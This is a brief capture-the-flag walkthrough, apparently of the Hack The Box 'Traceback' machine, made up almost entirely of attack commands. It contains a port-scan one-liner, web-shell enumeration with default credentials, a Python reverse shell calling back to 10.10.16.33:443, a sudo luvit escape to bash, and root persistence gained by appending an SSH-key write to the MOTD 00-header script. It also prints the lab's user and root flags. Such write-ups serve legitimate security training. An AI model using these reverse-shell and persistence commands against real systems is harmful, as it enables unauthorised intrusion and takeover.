Information Gathering

$ ip='10.10.10.181'; itf='tun0'; if nmap -Pn -sn "$ip" | grep -q "Host is up"; then echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//'); if [ -n "$ports" ]; then echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; nmap -Pn -sV -sC -p "$ports" "$ip"; else echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; fi; else echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; fi

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 9625518e6c830748ce114b1fe56d8a28 (RSA)
|   256 54bd467114bdb242a1b6b02d94143b0d (ECDSA)
|_  256 4dc3f852b885ec9c3e4d572c4a82fd86 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Help us
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Webshell enum

http://10.10.10.181/

https://github.com/TheBinitGhimire/Web-Shells/tree/master/PHP

$ feroxbuster -u 'http://10.10.10.181/' -w ./backdoor

admin:admin

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.33",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

Lateral Movement:luvit

webadmin@traceback:~$ sudo -l

webadmin@traceback:~$ sudo -u sysadmin /home/sysadmin/luvit -e "os.execute('/bin/bash')"

User.txt

7ce54557e73840b9267ec0250771ca40

Privilege Escalation:MOTD

注意:30秒脚本会复制执行一次,所以必须30s后在执行以下语句，将有效载荷追加到00head。否则载荷将被清除覆盖...再进一步通过ssh登录触发00-header

$ echo "echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHW/AdC4GrFM0XNoi5DrRrmUCSfp5EE439+ay1c2JIQq maptnh@maptnh-H4CK13'>/root/.ssh/authorized_keys" >> /etc/update-motd.d/00-header

$ ssh sysadmin@10.10.10.181

$ ssh root@10.10.10.181

Root.txt

3a906703b8fdbe8036a91e9ff9b3edcc